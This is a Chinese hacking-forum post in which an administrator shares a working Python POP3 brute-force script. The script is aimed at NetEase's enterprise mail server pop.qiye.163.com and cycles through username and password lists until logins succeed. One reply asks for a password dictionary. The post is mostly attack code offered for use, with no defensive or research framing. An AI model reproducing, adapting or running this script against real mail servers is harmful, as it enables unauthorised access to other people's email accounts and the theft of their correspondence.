搜索
查看: 1361|回复: 2

企业邮箱爆破小脚本

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2015-5-21 10:14:08 | 显示全部楼层 |阅读模式
总结了几种企业邮箱爆破的一些小技巧,直接贴出具体的爆破脚本吧。以163企业邮箱为例,目前这个是单线程的,也是从网上找到的爆破google邮箱的代码简单修改成的,只支持pop3协议。如图:

爆破模式类似burp的第四种模式,一个帐号对应多个密码挨个测试。所有的测试完才能看到结果,所以效率很低.


贴上代码:
  1. #!usr/bin/python
  2. #Email Pop3 Brute Forcer
  3. #http://www.darkc0de.com
  4. #d3hydr8[at]gmail[dot]com
  5. #http://www.nxadmin.com

  6. import threading, time, random, sys, poplib
  7. from copy import copy

  8. if len(sys.argv) !=3:
  9.   print "\n\t   EmailPopBruteForcer v1.0"
  10.   print "\t   --------------------------------------------------\n"
  11.   print "\t    Usage: ./qmailpopbrute.py <userlist> <wordlist>\n"
  12.   sys.exit(1)
  13.    
  14. server = "pop.qiye.163.com"
  15. success = []

  16. try:
  17.     users = open(sys.argv[1], "r").readlines()
  18. except(IOError):
  19.     print "[-] Error: Check your userlist path\n"
  20.     sys.exit(1)
  21.    
  22. try:
  23.     words = open(sys.argv[2], "r").readlines()
  24. except(IOError):
  25.     print "[-] Error: Check your wordlist path\n"
  26.     sys.exit(1)
  27.    
  28. try:
  29.   pop = poplib.POP3(server,110)
  30.   welcome = pop.getwelcome()
  31.   print welcome
  32.   pop.quit()
  33. except (poplib.error_proto):
  34.   welcome = "No Response"
  35.   pass

  36. def mailbruteforce(listuser,listpwd):
  37.   if len(listuser) < 1 or len(listpwd) < 1 :
  38.     print "An error occurred: No user or pass list"
  39.     return 1
  40.   for user in listuser:
  41.     for value in listpwd :
  42.       user = user.replace("\n","")
  43.       value = value.replace("\n","")
  44.       
  45.       try:
  46.         print "-"*12
  47.          
  48.         print "[+] User:",user,"Password:",value
  49.         time.sleep(2)
  50.         pop = poplib.POP3(server,110)
  51.         pop.user(user)
  52.         auth = pop.pass_(value)
  53.         print auth
  54.         if auth.split(' ')[0]!= "+OK" :
  55.           pop.quit()
  56.           print "unknown error !"
  57.           continue
  58.         if pop.stat()[1] is None or pop.stat()[1] < 1 :
  59.           pop.quit()
  60.           print "unknown error !"
  61.           continue
  62.         #print "\t\t\n\nLogin successful:",user, value
  63.         #print "\t\tMail:",pop.stat()[0],"emails"
  64.         #print "\t\tSize:",pop.stat()[1],"bytes\n\n"
  65.         ret = (user,value,pop.stat()[0],pop.stat()[1])
  66.         success.append(ret)
  67.         #print len(success)
  68.         pop.quit()
  69.         break
  70.       except:
  71.         #print "An error occurred:", msg
  72.         pass



  73. print "\n\t EmailPopBruteForcer v1.0"
  74. print "\t   --------------------------------------------------\n"
  75. print "[+] Server:",server
  76. print "[+] Port: 995"
  77. print "[+] Users Loaded:",len(users)
  78. print "[+] Words Loaded:",len(words)
  79. print "[+] Server response:",welcome,"\n"
  80. mailbruteforce(users,words)

  81. print "\t[+] have weakpass :\t",len(success)
  82. if len(success) >=1:
  83.   for ret in success:
  84.     print "\n\n[+] Login successful:",ret[0], ret[1]
  85.     print "\t[+] Mail:",ret[2],"emails"
  86.     print "\t[+] Size:",ret[3],"bytes\n"
  87. print "\n[-] Done"
复制代码


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?Join BUC

x
过段时间可能会取消签到功能了
XQ008 该用户已被删除
发表于 2015-5-21 14:18:34 | 显示全部楼层
求个密码字典
冰霜隐士 该用户已被删除
发表于 2015-5-22 21:01:30 | 显示全部楼层
好麻烦啊,跑着太伤电脑
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表